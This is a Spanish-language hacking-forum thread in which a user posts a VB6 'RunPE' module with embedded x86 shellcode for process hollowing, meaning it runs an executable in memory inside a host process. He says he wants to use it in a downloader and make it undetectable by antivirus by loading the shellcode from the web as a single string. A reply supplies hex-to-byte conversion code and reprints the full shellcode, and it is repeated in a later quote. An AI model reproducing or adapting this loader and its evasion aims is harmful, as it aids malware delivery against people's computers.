elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Mod runpe shellcode
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Mod runpe shellcode  (Leído 1,017 veces)
nosequenosenada

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Mod runpe shellcode
« en: 17 Enero 2021, 00:19 am »

Código
  1. Option Explicit
  2.  
  3. '---------------------------------------------------------------------------------------
  4. ' Module    : mshRunPE_Strings
  5. ' Author    : iCodeInVB6
  6. ' Now       : 05/16/2012 11:40
  7. ' Purpose   : Run executable in memory
  8. '             Only uses CallWindowProc & shellcode
  9. ' Credits   : hamavb <-- made the shellcode!
  10. ' Tested    : Win7 x64
  11. '---------------------------------------------------------------------------------------
  12.  
  13. 'USER32
  14. Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  15.  
  16. Private s_ASM(7) As String
  17. Private b_ASM(1287) As Byte
  18.  
  19. Public Sub RunPE(ByVal TargetHost As String, bBuffer() As Byte)
  20.    Dim i As Long
  21.    Dim j As Long
  22.    Dim k As Long
  23.  
  24.    s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
  25.    s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
  26.    s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
  27.    s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
  28.    s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
  29.    s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
  30.    s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
  31.    s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
  32.  
  33.    For i = 0 To 7
  34.        For j = 1 To 322 Step 2
  35.            b_ASM(k) = CByte("&H" & Mid$(s_ASM(i), j, 2)): k = k + 1
  36.        Next j
  37.    Next i
  38.  
  39.    CallWindowProcW VarPtr(b_ASM(0)), StrPtr(TargetHost), VarPtr(bBuffer(0)), 0, 0
  40. End Sub



Gente como estan? espero que bien, estoy por crear un downloader runtime en vb6 y voy a utilizar este runpe, me gustaria modearlo un poco para dejarlo indetectable a los anti virus , mi pregunta es como puedo hacer para que el shellcode que tiene que esta dividido en 7 partes, sea solo 1 string , ya que lo cargaria mediante  web y de esta forma me ayudaria a quitar firmas.





Muchas gracias de ante mano saludos.






« Última modificación: 17 Enero 2021, 00:27 am por nosequenosenada » En línea

Serapis
Colaborador
***
Desconectado Desconectado

Mensajes: 2.865


Ver Perfil
Re: Mod runpe shellcode
« Respuesta #1 en: 17 Enero 2021, 03:01 am »

Para unir un array de textos en un string, tienes la funcion Join. Para una cadena vacía como separador si no han de ser divididos más adelante.
Luego tienes la función StrConv para diferentes tipos de conversión a o desde string/array de bytes.

Consulta la ayuda de vb6 si lo precisas, es muy completa.
Código
  1.    dim x(0 to 2) as string, s as string
  2.    dim y() as byte
  3.    dim k as integer
  4.  
  5.    x(0) = "Buenos días"
  6.    x(1) = "tengan"
  7.    x(2) = "ustedes"
  8.  
  9.    msgbox join(x, " ")
  10.  
  11.    y = strconv(join(x," . "),vbfromunicode)
  12.    for k= 0 to ubound(y)
  13.        debug.print chr$(y(k)),
  14.    next
  15.  
  16.    msgbox strconv(y,vbunicode)
  17.  


En línea

Serapis
Colaborador
***
Desconectado Desconectado

Mensajes: 2.865


Ver Perfil
Re: Mod runpe shellcode
« Respuesta #2 en: 19 Enero 2021, 21:36 pm »

Cita de: nosequenosenada date=1610938951
Amigo gracias por tus respuestas lo  aprecio un monton de verdad, pero el segundo comentario sobre modificar el runpe sinceramente no lo entendi, si bien mis conocomientos de programacion son  pocos, pero lo que quiero en este caso tener en una sola linea la shellcode esa que esta dividida, si me das una mano te lo super agradezco
Hola.
De entrada, mencionarte que no proceden los mensajes privados. Estos se limitan a cosas que no interesa a nadie más, pero nada de tu mensaje reúne esa condición. Simplemente puedes responder aquí y yo (o cualquiera) puede responderte cuando le venga bien.

Creo haber satisfecho tus dudas (básicamente se trata de remplazar los datos dle ejemplo, por lo que interesa), sin embargo supongo que tu falta de comprensión se deberá a tu limitación en cuanto al conocimiento del lenguaje.

Me cuesta entender como teniendo lagunas severas, nadie se aventura a escribir programas, pués al final un pograma así, no tiene garantías no ya de calidad, sino de... en fin, tampoco es que me importe, pues cada uno va a lo suyo, aunque me parece de perogrullo y por eso recomiendo aprender a andar antes de pretender correr...

Por esta que es tu segunda vez, se te dará el pez, pero la idea es enseñar a pescar y que cada uno pierda su tiempo pescando, y no que los demás pesquen para ti.


Código
  1. Private Sub Form_Load()
  2.    Dim b_ASM() As Byte       ' OJO: Si la matriz es dinámica puede asignarse arbitrariamente si es estática, debe usarse un bucle para asignar cada elemento individualmente.
  3.  
  4.    b_ASM = GetBytesFromASM
  5.    '... lo que tengas que hacer con dicho array
  6.  
  7.    ' ejemplo:
  8.    Debug.Print "el array contiene " & CStr(UBound(b_ASM) + 1) & " bytes."
  9.    For k = 0 To 31
  10.        Debug.Print "El carácter: " & Chr$(b_ASM(k)) & " es el byte: "; b_ASM(k)
  11.    Next
  12. End Sub
  13.  
  14.  
  15. Private Function GetBytesFromASM() As Byte()
  16.    Dim s_ASM(7) As String
  17.  
  18.    s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
  19.    s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
  20.    s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
  21.    s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
  22.    s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
  23.    s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
  24.    s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
  25.    s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
  26.  
  27.    GetBytesFromASM = StrConv(Join(s_ASM, ""), vbFromUnicode)
  28. End Function
  29.  

La salida del ejemplo genera este valor (para verificar que es correcto).

(nota: 322 * 8 = 2576 bytes).
Citar
el array contiene 2576 bytes.
El carácter: 6 es el byte:  54
El carácter: 0 es el byte:  48
El carácter: E es el byte:  69
El carácter: 8 es el byte:  56
El carácter: 4 es el byte:  52
El carácter: E es el byte:  69
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 6 es el byte:  54
El carácter: B es el byte:  66
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 6 es el byte:  54
El carácter: 5 es el byte:  53
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 7 es el byte:  55
El carácter: 2 es el byte:  50
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 6 es el byte:  54
El carácter: E es el byte:  69
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 6 es el byte:  54
El carácter: 5 es el byte:  53
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48


La duda que yo tengo, sobre el caso, es que tienes valores hexadecimales.
2 caracteres hexadecimales son 1 byte, y dudo que tu array deba contener 1 byte con cada dígito... así que finalmente tendría que usar un bucle, ya que aunque VB6 puede convertir string a array de bytes (y vuceversa), lo que no hace es reconocer si tu string en realidad es un literal de un conjunto de valores hexadecimales.

Código
  1.  
  2. Private Function GetBytesFromASM() As Byte()
  3.    Dim s_ASM(7) As String, strHex As String
  4.  
  5.    s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
  6.    s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
  7.    s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
  8.    s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
  9.    s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
  10.    s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
  11.    s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
  12.    s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
  13.  
  14.    'GetBytesFromASM = StrConv(Join(s_ASM, ""), vbFromUnicode) ' cambiamos la conversion de VB
  15.    GetBytesFromASM = StringHexToByteArray(Join(s_ASM, "")) ' por la nuestra...
  16. End Function
  17.  
  18. ' Convierte un string hexadecimal a un array de bytes.
  19. '   OJO: No revisa irregularidades (strhex nulo, tamaño impar, letras A-F en minúsculas, la aparición de otros caracteres distintos de 0-9, A-F)...
  20. Private Function StringHexToByteArray(ByRef strHex As String) As Byte()
  21.    Dim k As Long, j As Long, ix As Long, U As Byte, D As Byte
  22.    Dim bHex() As Byte
  23.  
  24.    j = Len(strHex)
  25.  
  26.    ReDim bHex(0 To (j \ 2) - 1)
  27.    For k = 1 To j Step 2
  28.        U = Asc(Mid$(strHex, k, 1))
  29.        If (U < 65) Then            ' 0-9 (48-57) --> 0-9
  30.            U = (U - 48)
  31.        Else
  32.            U = (U - 55)            ' A-F (65-70) --> 10-15
  33.        End If
  34.  
  35.        D = Asc(Mid$(strHex, k + 1, 1))
  36.        If (D < 65) Then            ' 0-9 (48-57) --> 0-9
  37.            D = (D - 48)
  38.        Else
  39.            D = (D - 55)            ' A-F (65-70) --> 10-15
  40.        End If
  41.  
  42.        bHex(ix) = ((U * 16) + D)
  43.        ix = (ix + 1)
  44.    Next
  45.  
  46.    StringHexToByteArray = bHex
  47. End Function
  48.  

probando con esta línea:
Código
  1. Private Sub Form_Load()
  2.   ' imprime en la ventana 'inmediato', una cadena hexadecimal, convertida a array de bytes y luego convertida de nuevo a string...
  3.    debug.print  strconv( StringHexToByteArray("484F4C41"),vbunicode)
  4. end sub
el resultado devuelto es:
HOLA


p.d.: Nota que tu debes saber si está línea es así:
bHex(ix) = ((U * 16) + D)
o asi:
bHex(ix) = ((D * 16) + U)
Es decir el orden de los dígitos del valor hex, debe conformarse de acuerdo a como fueron consignados.
« Última modificación: 19 Enero 2021, 21:43 pm por Serapis » En línea

nosequenosenada

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Re: Mod runpe shellcode
« Respuesta #3 en: 28 Enero 2021, 21:41 pm »

Hola.
De entrada, mencionarte que no proceden los mensajes privados. Estos se limitan a cosas que no interesa a nadie más, pero nada de tu mensaje reúne esa condición. Simplemente puedes responder aquí y yo (o cualquiera) puede responderte cuando le venga bien.

Creo haber satisfecho tus dudas (básicamente se trata de remplazar los datos dle ejemplo, por lo que interesa), sin embargo supongo que tu falta de comprensión se deberá a tu limitación en cuanto al conocimiento del lenguaje.

Me cuesta entender como teniendo lagunas severas, nadie se aventura a escribir programas, pués al final un pograma así, no tiene garantías no ya de calidad, sino de... en fin, tampoco es que me importe, pues cada uno va a lo suyo, aunque me parece de perogrullo y por eso recomiendo aprender a andar antes de pretender correr...

Por esta que es tu segunda vez, se te dará el pez, pero la idea es enseñar a pescar y que cada uno pierda su tiempo pescando, y no que los demás pesquen para ti.


Código
  1. Private Sub Form_Load()
  2.    Dim b_ASM() As Byte       ' OJO: Si la matriz es dinámica puede asignarse arbitrariamente si es estática, debe usarse un bucle para asignar cada elemento individualmente.
  3.  
  4.    b_ASM = GetBytesFromASM
  5.    '... lo que tengas que hacer con dicho array
  6.  
  7.    ' ejemplo:
  8.    Debug.Print "el array contiene " & CStr(UBound(b_ASM) + 1) & " bytes."
  9.    For k = 0 To 31
  10.        Debug.Print "El carácter: " & Chr$(b_ASM(k)) & " es el byte: "; b_ASM(k)
  11.    Next
  12. End Sub
  13.  
  14.  
  15. Private Function GetBytesFromASM() As Byte()
  16.    Dim s_ASM(7) As String
  17.  
  18.    s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
  19.    s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
  20.    s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
  21.    s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
  22.    s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
  23.    s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
  24.    s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
  25.    s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
  26.  
  27.    GetBytesFromASM = StrConv(Join(s_ASM, ""), vbFromUnicode)
  28. End Function
  29.  

La salida del ejemplo genera este valor (para verificar que es correcto).

(nota: 322 * 8 = 2576 bytes).

La duda que yo tengo, sobre el caso, es que tienes valores hexadecimales.
2 caracteres hexadecimales son 1 byte, y dudo que tu array deba contener 1 byte con cada dígito... así que finalmente tendría que usar un bucle, ya que aunque VB6 puede convertir string a array de bytes (y vuceversa), lo que no hace es reconocer si tu string en realidad es un literal de un conjunto de valores hexadecimales.

Código
  1.  
  2. Private Function GetBytesFromASM() As Byte()
  3.    Dim s_ASM(7) As String, strHex As String
  4.  
  5.    s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
  6.    s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
  7.    s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
  8.    s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
  9.    s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
  10.    s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
  11.    s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
  12.    s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"
  13.  
  14.    'GetBytesFromASM = StrConv(Join(s_ASM, ""), vbFromUnicode) ' cambiamos la conversion de VB
  15.    GetBytesFromASM = StringHexToByteArray(Join(s_ASM, "")) ' por la nuestra...
  16. End Function
  17.  
  18. ' Convierte un string hexadecimal a un array de bytes.
  19. '   OJO: No revisa irregularidades (strhex nulo, tamaño impar, letras A-F en minúsculas, la aparición de otros caracteres distintos de 0-9, A-F)...
  20. Private Function StringHexToByteArray(ByRef strHex As String) As Byte()
  21.    Dim k As Long, j As Long, ix As Long, U As Byte, D As Byte
  22.    Dim bHex() As Byte
  23.  
  24.    j = Len(strHex)
  25.  
  26.    ReDim bHex(0 To (j \ 2) - 1)
  27.    For k = 1 To j Step 2
  28.        U = Asc(Mid$(strHex, k, 1))
  29.        If (U < 65) Then            ' 0-9 (48-57) --> 0-9
  30.            U = (U - 48)
  31.        Else
  32.            U = (U - 55)            ' A-F (65-70) --> 10-15
  33.        End If
  34.  
  35.        D = Asc(Mid$(strHex, k + 1, 1))
  36.        If (D < 65) Then            ' 0-9 (48-57) --> 0-9
  37.            D = (D - 48)
  38.        Else
  39.            D = (D - 55)            ' A-F (65-70) --> 10-15
  40.        End If
  41.  
  42.        bHex(ix) = ((U * 16) + D)
  43.        ix = (ix + 1)
  44.    Next
  45.  
  46.    StringHexToByteArray = bHex
  47. End Function
  48.  

probando con esta línea:
Código
  1. Private Sub Form_Load()
  2.   ' imprime en la ventana 'inmediato', una cadena hexadecimal, convertida a array de bytes y luego convertida de nuevo a string...
  3.    debug.print  strconv( StringHexToByteArray("484F4C41"),vbunicode)
  4. end sub
el resultado devuelto es:
HOLA


p.d.: Nota que tu debes saber si está línea es así:
bHex(ix) = ((U * 16) + D)
o asi:
bHex(ix) = ((D * 16) + U)
Es decir el orden de los dígitos del valor hex, debe conformarse de acuerdo a como fueron consignados.

Gracias por responder, no pude resolverlo pero agradezco tu tiempo. :)
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Que es un RunPE? « 1 2 »
Análisis y Diseño de Malware
x64core 11 12,076 Último mensaje 16 Octubre 2011, 11:29 am
por [Kayser]
Duda RunPE
Análisis y Diseño de Malware
[Kayser] 2 2,522 Último mensaje 10 Diciembre 2011, 13:34 pm
por [Kayser]
[Autoit] RunPE Shellcode
Scripting
Danyfirex 2 5,405 Último mensaje 6 Diciembre 2012, 17:43 pm
por Danyfirex
[ASM] RunPE
Análisis y Diseño de Malware
fary 8 11,618 Último mensaje 16 Febrero 2018, 19:16 pm
por Borito30
RunPE
.NET (C#, VB.NET, ASP)
Jeezy 0 623 Último mensaje 20 Agosto 2018, 02:57 am
por Jeezy
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines